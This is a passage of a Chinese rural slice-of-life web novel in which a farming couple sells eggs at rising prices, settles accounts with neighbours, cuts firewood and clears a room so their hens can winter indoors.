“我也想过留在手里,先别卖那么多,趁着价高时再卖,还能多挣点,但来福酒楼的掌柜意思要是咱们不多,他就找人上别处踅摸鸡蛋,我心想以后要做长久生意,不至于如此,就应了他,也好把这桩生意一直揽下来。” “四文,已经不错了。”顾兰时刚才听到五文,还觉得有点可惜,应该再等一等的。 不过听他这么一说,心里那点小九九就散了,想那么多做什么,说:“三文钱卖了这么久,也没见嫌少,先把四文赚到手,五文钱还没影儿呢,谁知道过几天到底是个什么价。” 裴厌笑一下,确实,不该去想没赚到的,所谓少了的那一文,只是轻飘飘的虚影。 眼下四文钱实打实能到手,已经比平时多了一文,才是正经捏在手里的财,贪心只会让人越想越难受,何必自讨苦吃。 大肚瓮里的鸡蛋一个不留,全都装进了竹筐。 顾兰时又提起竹篮去拾鸡蛋,昨天今天太阳不错,还算暖和,母鸡有下蛋的,他捡了十枚,正正好够两百。 两个大竹筐加一个小竹筐,三个恰好能放二百鸡蛋。 “鸭蛋拿三十个,今天五文一个。”裴厌说完,从怀里掏出钱袋,这是早上菜和鸡蛋的钱,不是很多。 顾兰时拎了个小竹筐进灶房,同样把鸭蛋塞进格子里,问道:“也涨了一文,鸭蛋还要收别人的不?” 见顾兰时一时顾不得接,他把钱袋放案台上,说:“再收三十个就行,鸭子咱们养的少,那边知道,我说能带去六十枚,鸭蛋要是收的太多,咱们又赚不到几个钱,路远,就算有格子挡着,万一遇着什么颠簸,蛋碰坏了,还得赔进去。” 鸡蛋大头是他们自己的,有时车赶得快,亦或是筐子没放好,运气不好了,总有几个磕裂的,虽然卖不了钱,却不赔本。 鸭蛋鸡蛋这些,若不按市价来收,村里人不乐意卖,况且多数时候他俩是先紧着亲戚收,就当捎带了,像苗秋莲和自家人,就更不能胡乱说价钱。 鸭蛋价还更高一点,收再多也赚不了差价,只是为了揽住生意,帮别人卖而已,平时还是以卖鸡蛋为主。 至于来福酒楼,养鸡养鸭子的大户毕竟少,在小贩小商手里买点鸭蛋已经足够了,因此裴厌并不担心,宁水镇人跟村里一样,吃鸡蛋更多些。 顾兰时应道:“行,等下我去问问娘,看她手里还有多少鸭蛋。” 该装的蛋都装好了,裴厌抱起一个大竹筐往门外走,大黑几个都在门口,把毛驴和驴车看得很紧。 车上还有两个菜筐子,顾兰时抱了一个小蛋筐放上去后,把空菜筐拿下来,他看向裴厌说道:“那你在这里搬,我先去问娘和嫂嫂,顺便把蛋筐都带去,看能不能再凑一百个。” “好。”裴厌答应一声,嘱咐道:“我等会儿牵车过去,拉了蛋就走,你记得拿钥匙,不然进不了门。” “行,知道了。”顾兰时点点头,两人一道又进去,他从屋里拿了钥匙,空筐拎了好几个。 * 到家门口却发现院门锁着,家里人都不在,一问隔壁,才知道他爹娘扛了锄头,应该是去地里了,顾兰时把筐子放在周家院门里头,托他们看着,自己又匆匆往地里走。 一听卖鸡蛋,苗秋莲跟着他回来,刚进门不久,顾兰瑜和花惜霜还有竹哥儿牵着驴车停在门口。 满满一车草,连人坐的地方都没有,顾兰瑜在前面牵毛驴,花惜霜和竹哥儿一路跟在后面,时而帮着推推车,时而捡捡掉落下来的草。 和顾兰时两人一样,他们也走了远路去割草,让毛驴拉车,比人一路拉回来轻快多了,而且去的时候还能坐在车上。 秋忙过去了,不用拉石磙碾场,裴厌和顾兰时也会带驴子一起去割草。 他俩没有养牛,只有毛驴一头牲口,还经常跑镇上,有时觉得牲口也不容易,又不会说话,被驱赶着一直低头干活。 竹哥儿把门槛取了,顾兰瑜才牵驴车进来,见顾兰时和苗秋莲在灶房装鸡蛋,于是问了一声。 顾兰时简单解释两句,数一数他娘攒下的鸡蛋只有三十二个,鸭蛋十五个,他起身说道:“那我再去大嫂二嫂那边问问。” “好,你去。”苗秋莲帮他把装了鸡蛋的竹筐提到院里,絮叨道:“要不是前两天炒了一盘子,你爹昨天又贪嘴,要吃白煮蛋,不然有四十个呢。” 还没出门呢,隔壁刘桂花站在院门口,一边擦汗一边喘着气笑问道:“兰哥儿,收鸡蛋呢?” 顾兰时开口:“是,婶子家有鸡蛋?” 刘桂花刚打了草回来,这不筐子还在他家门前放着,都没进去,听儿媳妇说顾兰时可能要收鸡蛋,连忙过来问。 一听有戏,她忙不迭说道:“有有,我家里有二三十呢,鸭子蛋也有。” 顾兰时一想,开口道:“那婶子愿意的话,我过去数数。” “行!”刘桂花喜笑颜开。 苗秋莲跟着一同到了隔壁,竹哥儿和花惜霜也来凑热闹,见状,刘桂花就让儿媳把蛋篮子从灶房提出来,在院里数。 “兰哥儿,鸡蛋卖的什么价?”刘桂花问道。 顾兰时没有隐瞒,说:“婶子,四文一个,楼里这么收的,其他人卖鸡蛋也是这个价。” 刘桂花看一眼她男人周平,周平点点头,他这几天没去镇上,但跟往年一样的价。 做别人的生意,到底和自家不同,苗秋莲看见了他二人的神色,没有言语,心想他们兰时可从来不哄人,收别人鸡蛋连钱都赚不到两个。 不过这事裴厌和顾兰时也有好处,她面上没露什么,又不是啥大事。 “二十五个,鸭蛋十个。”顾兰时把鸡蛋都放进了格子里,站起身说:“婶子,鸭蛋一个五文钱,这些正好一百五十文,等裴厌从镇上卖了回来,立马就把钱结了。” 住的这么近,又是从小看到大的,要是别人,刘桂花还有点不放心,顾兰时就不一样了,她笑着开口:“都行都行。” 眼下有五十七枚鸡蛋了,鸭蛋只差五枚,见弟弟在跟前,顾兰时笑道:“竹哥儿,你去问问大嫂二嫂,看她俩那边有没有鸡蛋,要是有,鸭子蛋拿五个就足够了,你帮着提到家里来,裴厌一会儿就从家门口直接去镇上,方便。” “好。”竹哥儿没有推脱。 顾兰时抱着竹筐出来,对门老夫郎看见,就问他是不是收鸡蛋。 因对方有点耳背,他大声说:“老嬷,你有多少?” 老夫郎反应了一下,显然没有听清,顾兰时走过去后大声再问了一遍,他才伸出两根手指,说:“二十个呢。” 张春花和李月养的母鸡少,十二三只,家里又有孩子,隔三差五会给几个小馋猴子煮鸡蛋吃,攒下来的应该不会太多,于是他又收了对门家里这二十个鸡蛋。 因老夫郎耳朵不好,他解释了好几遍,说钱等裴厌回来后就给结,对方才不再问他啥时候能拿钱。 和鸡鸭不同,鸡蛋鸭蛋他俩不赚差价,而且蛋在路上磕碎了,也是他俩的事,附近好几户人家都来询问,想把鸡蛋卖给他。 顾兰时一想,鸡蛋七十七枚,于是就说足够了,不再收了。 恰好竹哥儿喊来了张春花和李月,两人都提了半篮子鸡蛋,他收自家人的,旁人没法儿挑事,只在一边看。 裴厌牵着毛驴从村后进来,见人都围在顾家门前,他把驴车先停在周平家门口。 “这是五个鸭蛋,鸡蛋各是二十个,都数好了。”张春花笑道,她和李月商量过了,整数好记也好结账,不用顾兰时和裴厌再费心去数。 “好。”顾兰时答应一声,和她几个一起把鸡蛋塞进格子里。 见裴厌在人后站着,他指着装鸭蛋的篮子,说:“三十个鸭蛋足够了,和刚才那些装一起,鸡蛋一共是一百一十七枚,够了么?” “足够了。”裴厌点点头,不用他动手,狗儿就帮着拎过来,和他一起往鸭蛋筐放。 顾兰时嘱咐道:“桂花婶子是二十五个鸡蛋,十个鸭蛋,一共一百五十文,王老嬷二十个鸡蛋,八十文,回来直接结清。” 周围人不少,说清数目大伙儿都能听见,有个见证,不至于叫人背后说少了人家的钱。 “嗯,知道了。”裴厌记好了钱数,和苗秋莲几人告一声,赶毛驴就走了。 着急忙慌总算弄好了,顾兰时舒一口气,笑着和两个嫂嫂说几句闲话,又告诉她们蛋钱同样等裴厌回来再给。 李月笑眯眯的,说:“急什么,先给人家送去才是正理。” 苗秋莲在门口和人唠家常,说起她兰哥儿和姑爷生意越做越好这件事,她嘴上谦逊,但笑声明显更欢快了。 * 大黑懒洋洋趴在院里晒太阳,灰灰和灰仔同样如此,三只大狗各自占据了一片地方,谁也不搅扰谁。 晌午太阳有点大,顾兰时坐在堂屋喝茶,裴厌回来还得一阵,做饭得往后推推。 不算收来的鸡蛋鸭蛋,光他们自己的,就有二百鸡蛋三十鸭蛋,按四文钱的话,今天能卖九百五十文。 添五十文就是一两了。 不算还好,一算账,顾兰时眼睛都是亮的,咧着嘴傻乐,甚至笑出了声。 二百个鸡蛋,平时卖只有六百文,一下子多了这么多,哪能不高兴。 乡下人卖蛋就是为了补贴家用,少养几只都能赚一点,他俩养的多,才能在蛋价高的时候当挣钱的大头。 忽然,想起裴厌放在案台上的钱袋,他噌一下站起来,几乎是小跑着进灶房去拿。 钱袋不是很沉,他在手里掂了掂,喜滋滋又回堂屋坐下。 今天早上摘的菜不多,鸡蛋也只带去四十八个,这下好了,他打开钱袋,把里头的铜板全都倒在桌上,五十文不正好有了? 大黑听见一阵放肆的笑声,耳朵动了下,疑惑望向堂屋。 顾兰时沉浸在赚了一两的喜悦里,根本没发现狗在看他。 * 啪—— 鞭子在空中甩了一下,拉着空车的毛驴跑得更快。 比起来时路上的谨慎,这会儿可以说彻底放开了跑。 蛋都卸给了来福酒楼,筐子里只剩下三枚不知道怎么碰破的鸡蛋,有一个蛋黄都流了出来,但裴厌没有在意,满腔热乎乎的劲不知道往哪里使,一心只想赶回去,和他夫郎一起数钱。 因蛋钱有别人的,结账时他让吴厨子碎银和铜板混着给,顾兰时交代了,一回村要先给别人把账结清。 这样也好,回去后余下的钱都是他俩的,不用另算。 风在耳旁呼呼呼的刮,太阳正盛,照在身上带着热意,天湛蓝明亮,地面平坦,驴车朝着小河村方向一路奔驰。 * 没有货物压重量,跑得又比平时快,板车被颠的哐当响。直到进村后,裴厌才拉缰绳让毛驴慢下来。 驴蹄发出啪嗒啪嗒声,毛驴也累了,慢悠悠往前走。 路边有几个人,关系还算好的,裴厌招呼了一声,多是长辈,没看见方红花坐在祖宅门口跟人说闲话,他就没有停下。 看见裴虎子背着竹筐拿了镰刀从裴家出来,裴厌心中热劲不减,只是眼神淡了许多,从对方身上一掠而过,没有任何停留。 裴虎子一看见他就像老鼠见了猫,心里发紧,顿在原地不敢走,直到驴车驶过去之后,才擦了擦脸上不知有没有的冷汗。 裴厌和顾兰时生意做得好,赚了不少钱,还从村里人手中收鸡鸭去卖钱赚差价,这些裴家人都知道,却谁也不敢去套近乎,住在一个村,即使没有天天撞见,隔三差五在路上也能遇到。 一家子根本不敢上前,那不是自找苦吃?只当做和裴厌不认识,这样日子才好过一点。 裴厌没几个人会去招惹,而他们又和裴厌不对付,村里有几个惯常会落井下石的,见裴胜残了,家里壮丁只裴虎子一个,明里暗里奚落嘲讽,有时候还会欺负他们,也就方云生了两个儿子,大的已经七八岁,家里有男丁香火,才不至于被欺负太狠。 裴虎子灰溜溜跑了,压根不敢回头看。 而另一边,裴厌到了顾家门口后,先把驴车停在门前,王老嬷坐在门槛上等,一看他回来了,连忙招手喊道:“厌小子。” 裴厌下车,拍拍毛驴脖子,让它等在这里,自己先往对门去,从怀里掏出钱袋,说道:“老嬷,二十个鸡蛋八十文。” 见王老嬷用手支着耳朵努力辨听,他笑一下,伸出拇指和食指比了个“八”,老人这才意会。 裴厌从钱袋里掏出一把子铜板,直接蹲在地上,当面数给对方。 收鸡蛋的时候,顾兰时就告诉过王老嬷一个鸡蛋四文,见裴厌把分给他的钱放在地上,王老嬷连忙蹲下,眼睛紧紧盯着,自己嘴里也念叨。 “七十九、八十。”裴厌把地上那一小堆铜板往老夫郎那边推了推,用手指点了点,说道:“老嬷,你数数。” 他声音不算太大,王老嬷没怎么听清,但意思看懂了,于是自己数了一遍,数完后布满褶皱的脸上露出个笑,说:“够数。” 裴厌没有多留,起身又往周家走。 竹哥儿看见门口驴车出来,笑道:“厌哥哥,我就说,毛驴怎么回来了。” “岳母在家?”裴厌问道。 竹哥儿点头:“在呢。” 裴厌边走边说:“好,我给婶子结了钱就进去。” * 篱笆门前,顾兰时望眼欲穿,算算时辰,也该回来了。 大黑从河边跑回来,见他还在这里,喉咙里呜呜叫着,一到跟前就用毛绒绒的脑袋蹭顾兰时腿。 “汪!” 灰灰和灰仔在树林里追逐玩耍,时而冲着对方咬,要么就是打架,只要不打得过火,顾兰时就不管它俩。 忽然,大黑耳朵竖起,朝林子那边跑,灰灰和灰仔也似察觉到了什么,冲着村子的方向不断吠叫。 “裴厌?” 顾兰时还没看见人,但见狗这样,就朝林子那边高声喊。 “是我。” 听见拉长声音的回答,顾兰时一下子笑了,带狗往林子那边走了几步,就看见裴厌牵着驴车的身影渐渐清晰。 等他近前后,顾兰时喜眉笑眼,说:“饭都做好了,你走之后,又有两只母鸡下蛋,我打散摊了几张蛋饼,不多,够你这顿吃。” “嗯。”裴厌眼里同样有笑意,说:“账全都结清了。” 顾兰时高兴得都有点不知道说什么,跑在前面先把篱笆门开大,好让驴车进来。 进门之后是自己家了,他这才带着喜意问:“先吃饭还是先数钱?” 裴厌心里正热,说:“先数钱,这回给了几钱碎银,数起来快。” 顾兰时几乎有点雀跃了,傻乎乎笑着,随心肆意张开手臂,又像小孩那样往前跳了两步。 裴厌早就发现自己夫郎太高兴时会像小孩子一样手舞足蹈,是高兴到不知怎么办了,他星眸微弯,在旁边看着,丝毫不觉得这样像傻子。 即便着急,裴厌还是先解了车套,把毛驴牵到后院让它歇着,这才和顾兰时坐下数钱。 铜板哗啦啦倒在桌上,他说道:“碎银子都是一钱一钱的。” 顾兰时先把碎银子挑出来,一共有八块,他喜道:“这是八钱。” “嗯,铜板应该是一百五十文。”裴厌在路上时就算过了,想起筐子里的三个鸡蛋,他又道:“不,应该少十二文,有三个鸡蛋坏了,人家没要。” “这样的话……”顾兰时抿着嘴巴想了一下,说:“是一百三十八文。” 他从怀里掏出裴厌早上放下的钱袋,笑弯了一双眼睛,说道:“这里头我数过了,有两百多文,正好,能凑够一两银子。” 差点忘了这个,今天早上带了四十八个鸡蛋,因此卖到了钱。 听见顾兰时长长吐一口气,裴厌笑问道:“怎么?不高兴?” 顾兰时抬头,双眼亮晶晶的:“我这是太高兴了,蛋而已,一天能卖一千文,以前做梦都想不到呢。” 裴厌目不转睛看着他,唇角弯起,满目都是柔情。 第163章 鸡叫声打破清晨的静谧,山脚下的院落过了一会儿有了动静。 狗从窝里钻出来,张大嘴打着哈欠,又伸长躯体抻个懒腰,站直后抖一抖皮毛,随后才冲着紧闭的院门汪汪叫,像是催促开门。 吠叫引得窝里的母鸡有些许不安,咕咕咕低叫了几声,没多久狗不再叫了,鸡窝里也安静下来,羽厚体肥的母鸡依旧挤在一起,窝里垫着厚厚的稻草,抵御了外头的秋霜寒意。 吱呀一声轻响,东屋门打开,裴厌走出来,堂屋门从里面拴着,此时尚早,窗子关着,光线较暗。 打开堂屋门以后,寒意涌进关了一晚上的室内,冷气迎面而来,登时让人清醒了几分。 “汪!” 狗耳朵很尖,听到里面有动静,再次催促让开门。 裴厌往院门口走,见地上结了一层白霜,尤其小菜地里,菜叶上打着霜。最近菜蔬渐渐都凋零了,该挖的挖,该拔的拔,唯有春菜透着一点绿意,不过也不长久了。 院子被篱笆墙圈在里头,成了二道门,夜里门闩肯定要上,而母鸡在外面,晚上只能把狗撵到狗窝里去睡,狗窝能遮风避雨,也塞了麻袋进去,不比睡在堂屋差。 “汪!” 见院门开了,灰仔昂头对裴厌叫一声,就颠颠跑了进来。 顾兰时正好看见这一幕,笑着开口:“你怎么起这么早?” 灰仔最小,平时没有大黑和灰灰那么机灵心眼多,傻乎乎只顾亲人,也会偷懒睡大觉,偶尔勤快一回,确实让人称奇。 狗听不懂他说的,跑过来用脑袋蹭一蹭。 顾兰时揉揉狗头,随后推开了灰仔,见裴厌抱着柴火进灶房,不用他点火烧水,于是拿起靠在墙上的大扫帚,一边扫院子一边问道:“早上吃什么?” 柴火放在地上,裴厌从柴篮里掏出一把麦秸铺在地上,上头又放一层又干又轻的碎草绒,拿起一旁的火石擦打几下,很快就有火星子迸溅,落在草绒上。 “热几个馒头,切两个咸鸭蛋就行。” 他说道,草绒易点燃,火星子很快变大燃烧起来,他两手拢着已经烧起来的麦秸,等火苗旺了以后,这才塞进灶膛里。 又添一把柴火,等火势彻底旺起来,他把细柴塞进去,确定几根柴火都着了以后,起身舀水往锅里添。 一束炊烟飘起,顾兰时扫完前院,又拿了鸡毛掸子在屋里扫灰除尘。 趁着灶底有火,裴厌顺便把泥炉点了,给陶罐舀了水放上去,随后舀水洁牙洗脸。 顾兰时忙完后出来,见他在洗,打个哈欠说:“我还是等水热了再洗,馒头放了?” 天没有这么冷的时候,他起来一般先盥洗了再干活,天一冷,水也冰凉,有时就不愿用冷水。 撩水不免会溅到外面,裴厌抹一把脸上的水才开口:“放了。” “行。”顾兰时应道。 等吃完早食,太阳出来了,地上白霜褪去,裴厌扛了一捆麻绳,拎了长斧头,顾兰时带了小斧和竹筐,一同往山上走。 前几天卖了鸡蛋以后,到今日将将只攒了三十来个,菜蔬瓜果快到季末了,量并不大,前天拉去镇上几筐,今天没必要再去,该砍柴火留待过冬了。 菜的品相没有之前那么好,不过蒋厨子全收了,等初冬来临,鲜菜只有菘菜和萝卜等不多的样数,多收点同样是为了弄菜干子,好应对冬日的匮乏。 顾兰时从夏天起就在晒菜干,野菜和家种的菜都有,各种各样的干菜一样样装进麻袋,攒下不少,杂屋都快堆满了,西屋里麻袋布口袋大大小小也有一二十。 人丁多的大户或许还觉得不够,心里不踏实,可他们只有两人,按人头算的话,别说吃一个冬天,两个冬天估计都足够,毕竟地里还种了不少菘菜跟萝卜,正好在秋末时收。 而弄这些东西天天不得闲,尤其他俩今年,几乎忙个不停,从春到秋,只有下雨时才能歇一两天。 裴厌跟酒楼和馆子都说了,等这一茬秋菜彻底结束,家里还有干菜能送,至于多少,只能后头再和吴厨子蒋厨子算。 脚下落叶比之前厚实,叶子一掉,山林空旷了些,显得越发寂寥。 天上有几只鸟儿高高掠过,林子里,裴厌选中了一棵树,将麻绳扔在地上,稍动一动肩膀,抡起长斧头就砍。 砍树的动静不算小,顾兰时在一旁看着,山里冷,即便有太阳了,还是觉得寒意侵人,他没有张嘴,砍树还得一阵子,他看一会儿,就避开树倒下的方向,往前头去找野菜。 落叶底下总有些还没枯黄的野菜,山上各种树都有,远处一树树红叶十分漂亮,但对从小见惯的人来说,并没有什么稀奇。 随手挖了几株野菜丢进竹筐,顾兰时没有走远,依旧能听见斧头砍树声,附近野菜不多,他转身拎起竹筐又回去,眼角余光一闪,瞥见身侧有处红红的东西。 原以为只是掉落在矮灌木丛上的红树叶,不想转头去看时,却发现是枝叶已经枯萎的红果子。 他立马转了方向,带着欣喜几步走过去,小小的浆果还没小拇指指头蛋子大,在干枝条上挂了零星一串,有的已经干瘪了。 这东西他认得,以前二姐没出嫁的时候,他俩在山上吃过,水分不大,但挺甜的,不过因为太小,在牙齿间咬开后,砸吧几下就淡了。 顾兰时摘了一颗,随便用指腹摩挲两下就塞进嘴里,果然,一丝丝甜味在唇齿间蔓延开。 余下的那些他没有客气,摘了一小捧在掌心,攥着就去找裴厌了。 见裴厌还在砍树,他凑过去笑眯眯说:“歇一下,给。” 手上拎着斧头,果子又那么小,裴厌干脆低头,从他两指间含了一颗小果子进嘴,也没多歇,咬开后咂咂嘴,嗦着甜味继续砍树。 轰—— 树倒地后,躲开的两人才围过来。 这棵树不算太粗,顾兰时让裴厌去歇着,自己拿了小斧头削砍树枝,短的用竹筐装,长一点的用麻绳捆了,能拖就拖下山,都是柴火。 今天砍柴没有和别人搭伙儿,不然多来几个汉子帮着一起抬树干会方便许多。 也是他俩不着急,前段时间砍了两回柴,平时出去打草,也会捡些柴火,柴房里的柴是不缺的。 裴厌歇一阵子后,提着斧头过来把稍长的树枝砍掉,说:“先砍这一棵,太长的枝条砍掉就行,短的不用管,拖下山在院里慢慢弄,回去了再商量商量,看西屋怎么收拾。” “行。”顾兰时应道,按着他的话先把碍事的长树枝砍下来,一会儿要拖着树下山,太长的硬树枝会被其他树木挡住。 来山上干活就没有不累的,两人费劲巴拉把树还有砍下来的树枝拖回山下,丢在院里没管,先坐下歇息。 狗围着新砍回来的树闻个不停,灰灰叼起一根树枝,被灰仔看见,咬住另一头和它抢,两只狗喉咙里都发出威胁般的低吼,谁也不让谁。 裴厌懒得管它俩,真打起来了再说。 顾兰时一口下去喝了半碗温水,放下后擦擦嘴巴上的水迹,说道:“西屋放的菜干子好拾掇,塞杂屋就行了,桌椅也都好说,就粮缸搬出来有点费劲。” 裴厌提了陶罐过来,给两人续上水,开口道:“费劲不怕什么,得找个地方搁,杂屋是放不下了。” 他俩说着,目光在院子一圈转动,家里就这几间房,除了东西两个住人的,再就是一间灶房,对面是柴房和杂屋。 “实在不行,明年得搭一间屋子。”裴厌指着杂屋那边,说:“就在那儿,还有空余,位置也不错,不会占了谷场。” 他想一下又说:“就不借着杂屋的墙壁了,另起土墙,杂屋盖了有些年头,还是新筑的墙更结实。” “那是给母鸡住还是放东西使?”顾兰时问道。 “放东西,西屋有现成的炕,不然还得盘炕。”裴厌说完,又道:“今年得先看看西屋合不合适。” 他俩说的,正是冬天在西边屋子养鸡的事。 想母鸡在冬天下蛋,必须得把鸡窝弄暖和了,稻草铺的再多再厚实也没个什么用,只能想法儿烧炕让母鸡待在屋里,这样白天晚上都暖和,再把夏天晒的地龙干泥鳅干还有鱼干什么的,磨碎拌进鸡食里,吃好一点,说不定就下蛋了。 “也是。”顾兰时点点头,今年才弄呢,还不知道是个什么样。 沉吟一阵,他开口:“天天烧炕的话,柴火得多备,回头我去问问爹,看他还要柴不,要的话咱们一起去,多个人手,实在不行,就喊狗儿来帮忙。” “嗯。”裴厌点点头,冬天鸡蛋价高,但想挣钱不是靠嘴说说就成的,柴火确实得多弄些,这不是什么难事,只用花些力气,他还是在行的。 想起鸡蛋,顾兰时转头看着他,说:“去年咱俩没怎么打听,我记得有一年冬天,娘说一个鸡蛋卖到快十文,寒冬那么冷的天,有价钱也收不到几个蛋,可金贵了。” 裴厌笑了下,开口:“估计是秋时存下来的鸡蛋慢慢消耗完了,到隆冬和年关时,母鸡又不下蛋,价钱肯定上去了。” 顾兰时笑着说:“咱们要是能卖到高价,不说十文了,一个鸡蛋八文钱也挣不少呢。” 赚钱总是让人高兴,哪怕只是想一想。 见他一手支着下巴傻乐,裴厌伸手,轻轻在他脑门上弹了一下,笑道:“醒醒,该去忙了。” 一想到能赚钱,顾兰时干劲满满,起身和裴厌一起往西屋走,先把东西都挪出来,腾出地儿了,才好在里头养母鸡。 第164章 搬东西不是难事,先轻后重,能放进杂屋和灶房的就放进去,太沉的粮缸没地方塞,只好将堂屋里侧的桌椅挪挪,划出一片地方,把几个粮缸都放在这里。 粮缸是封好的,用大缸不会像麻袋那样被老鼠咬烂,缸口一封,取粮的时候才打开,也不怕老鼠会钻进去。 好处很多,唯一的缺点就是不好搬动,尤其装了粮后。 顾兰时两手撑在有点冰凉的大缸外壁,脚下蹬动铆足劲想往前推一截,无奈力气不够,粮缸动也没动,他收回胳膊站直,喘两口气叉腰盯着粮缸,心想自己平时也算有把子力气,今日却奈何不了一个大缸。 裴厌从外面进来,他刚把最后两口袋干菜放进杂屋那边,见顾兰时如此,他笑了下,细胳膊细腿的,平时提水劈柴有力气,搬粮缸就有点难了。 “这么沉,可怎么搬。”顾兰时见他进来,皱着眉说道。 裴厌卷起袖口,说:“我先试试。” 说完,顾兰时给他让开地方,他伸手使劲去推。 粮缸晃动,往前挪了挪,缸底地面被蹭出痕迹,倒是往前动了一动。 不过裴厌没有再试,他喘口气缓了缓,说道:“不能这样下死力气,太费劲了,搬出去一口缸,人得累个半死。” “要不找人帮忙?”顾兰时提议道。 裴厌看一眼窗外日头,说:“这会子,估计都在忙,要么就是出去打草打柴了,先想想办法,实在不行再找人。” “嗯。”顾兰时点点头,见裴厌盯着粮缸一副在琢磨的模样,自己无意识也做出思索的神情。 不过没等到他想出什么好法子,裴厌就开了口:“试试用麻绳。” 两人折腾了一会儿,最终用结实的麻绳把粮缸捆好,一前一后留了两段绳索。 顾兰时在前面用力拽着绳子,裴厌用手抵着粮缸上部一同用力,大缸被拉被推,倾斜着,缸底只有一半在地上。 裴厌趁势在后面一边扶着大缸不让倒下,一边用力转动大缸,一点点往门外转挪。 而顾兰时在前面拉麻绳,时而用力拽,时而配合着裴厌松一松力气,让大缸稳住倾斜的角度,不至于倒下也不至于缸底又落回地面。 “慢些。” “先别用力。” “停停停!” 一开始两人还不甚熟练,有一下顾兰时背过身,弯腰把麻绳扛在肩上,一个劲往前,仿佛连屁股都在用力,累得哼哧哼哧,但不小心使的力气太大,缸倾斜的角度大了,幸好裴厌一直注意着,用力拽住粮缸那边的一截短绳,没让斜倒。 就这么转着挪着,慢慢找到了窍门,虽然依旧费力气,但比在平地上硬往外推轻松些。 粮缸只需从西屋挪到堂屋就行,不用多费劲搬出去,第一个粮缸放好后,两人都累得够呛,喘着气揉胳膊揉肩。 视线对上之后,顾兰时又忍不住笑出来,喘过一口气说:“这个法子挺好,就是得先歇歇。” 裴厌比他好点,笑道:“不着急,多歇歇,今天没有别的事忙,还早着。” 西屋放了好几个粮缸,缓过劲后,两人又照刚才的办法把另一个粮缸捆好。 之所以让顾兰时在前面拽绳子,是裴厌怕他力气不够,万一粮缸快倒了,根本撑不住,而且转动粮缸是件很费力气事,又要时刻留心,也有压到脚的风险,只能自己来。 当然在前面拽绳子也要用力,只是相对来说轻松一些。 家里狗看见他俩,汪汪叫着,灰仔还跳起来想帮顾兰时咬住麻绳。 平时还好,能由着它们胡乱帮忙,粮缸若倒了可不是好玩的,两人都挥胳膊吆喝,让狗待在一旁。 即便如此,三只狗看起来都十分操心,尾巴都不摇了,在堂屋走来走去,一直看着他俩,时不时呜呜呜叫几声。 四口大缸费了好大一阵功夫,才从西屋挪出来,轮到两口只有半人高的大肚瓮时,明显轻松许多,甚至都不用顾兰时上手,裴厌推着转着,就把瓮挪动了。 “还是照着刚才来,这么下去,你明天还干不干活了。”顾兰时嘴上这么说,实际是不想他太累,拿了麻绳过来。 裴厌停下,直起腰歇了歇,胸膛起伏着,显然颇费力气。 瓮里是磨好的糙面,满满一瓮还没打动,另一口面少,装的是更金贵的精细白面。 满瓮即便低矮,因肚子大,里头很能装放,一点都不轻,要是再来两个汉子,还能用麻绳和棍子抬出去。 他看一眼顾兰时,肩膀那么单薄,不能用这个法子,于是应一声,接了麻绳捆住面瓮,依旧和之前一样,一个人拽一个人转,一点点挪出去,把面瓮放在粮缸旁边。 到最后一个大肚瓮,裴厌挪开压在上面的圆石板,开口道:“只有半瓮,你歇着,我自己来。” “行。”顾兰时擦擦额头上的汗,他肩膀有点酸,手心被磨红,不过还好,没有磨烂。 这一口瓮只装白面,因此只给翁口盖了沉甸甸的石板盖子,不像刚才那几个,口用黄泥封好了,没法儿取下。 “我把石板先拿走。”他走过去,圆石板挺沉的,不过比起刚才那些要费上老牛劲的,他自己完全搬得动。 取下石板盖子后,裴厌两手也有抓的地方,很快就把面瓮挪出来,这下西屋彻底收拾出来了,除了一个炕,再没别的东西。 地面被拖拽出痕迹,有不少土,顾兰时看一眼西屋大开的门,屁股挨在椅子上没动,太累了,过会儿再去扫。 再看一眼外面天色,晌午饭点已经过了,他俩为一鼓作气搬完,还没吃饭,太阳倒是挺大的,和夜里的寒冷完全不同。 “想吃什么?”顾兰时喝完一碗热茶问道。 裴厌想了一下,说:“上回打的醪糟不是还有半罐,烧碗醪糟就好,不用煮稀饭了,炒个春菜,切几片咸疙瘩。” “行。”顾兰时点点头,这样做饭确实快。 上回裴厌去邻村买酒,卖酒的人家也酿醪糟,顺便打了一罐,有时太忙等不及稀饭白粥煮好,就煮点醪糟对付,酸甜滋味吃着也很不错。 * 下午。 西屋扫过之后,顾兰时顺便把粮缸面瓮外壁擦了擦,以后就放在堂屋了,走进走出都能看着,肯定要擦抹干净,不然来个人,脏兮兮人家会笑话。 他到外面洗抹布,裴厌正往炕洞里塞柴火,又用一根棍子把里头的柴弄平铺匀一些,得先试试炕热不热,烟囱通不通。 这是别人建的房,西屋炕一直没用,有几个年头了,好在土炕还算结实,没有塌陷的迹象。 乡下土墙土地土灶,忙了小半天,无论挪东西还是扫地烧炕,不免会有灰尘飞扬,两人身上头上沾了一些。 顾兰时起身把抹布随后搭在一个木架横杆上,拍拍自己衣服上的土,说:“衣裳该换,头发也该洗了。” 裴厌见炕洞里火起来了,拿起放在地上的蒲扇对着火苗扇几下,转头看着他说:“那等炕试过之后,不然里头要是堵了,明天还得掏炕洞。” “行。”顾兰时应道,烧火有裴厌在,他不用操心,于是拿了竹篮去鸡圈拾鸡蛋。 白天太阳好,暖和,有的母鸡隔几天能下一个蛋,他不出去打草干活的话,没事就去那边转转,指不定哪一会儿就摸两个鸡蛋进来。 乡下人烧炕都有一手,只是试试土炕能不能用,不用闷柴,烧了一会儿裴厌进去摸土炕,手底下热乎乎的,烟囱出烟也利,按刚才烧的那些柴,这热度显然是对的。 正好,不用花力气弄一身脏拾掇了,至于炕洞里的火,他没有再管,柴火烧完就灭了。 至于养鸡时要烧成什么样,得后面养起来再看。 从鸡窝掏了一个鸡蛋的顾兰时进院子,听他说炕好着,立马就往灶房走,趁这会儿太阳还大,在院里洗头发不怕着凉。 * 不知不觉,暮秋走到了尾巴,已是初冬时节。 地上看不见绿草了,全都枯败,树叶子掉光,只剩光秃秃的枝干。 天一冷,没了别的颜色相衬,土墙瓦房,草屋篱笆,土黄色占据了视野,唯有天晴朗时,头顶有蓝天和白云。 再没了野菜野草能挖,出来的人变少,今年并非饥年,穷人多少都备了过冬口粮,甚少有去剥树皮挖草根吃的,家穷,夏秋时自然知道多挖野菜晒菜干。 蛋价又涨了,一个鸡蛋卖到五文,鸭蛋相应也涨了一文。 不少酒楼和饭馆趁着秋末这段时间,囤了些鸡蛋,一些大户人家也是,眼下吃用足够,因此蛋价没有疯涨。 天冷,母鸡下蛋更少,不像之前那样,两三天就能攒大几十枚。 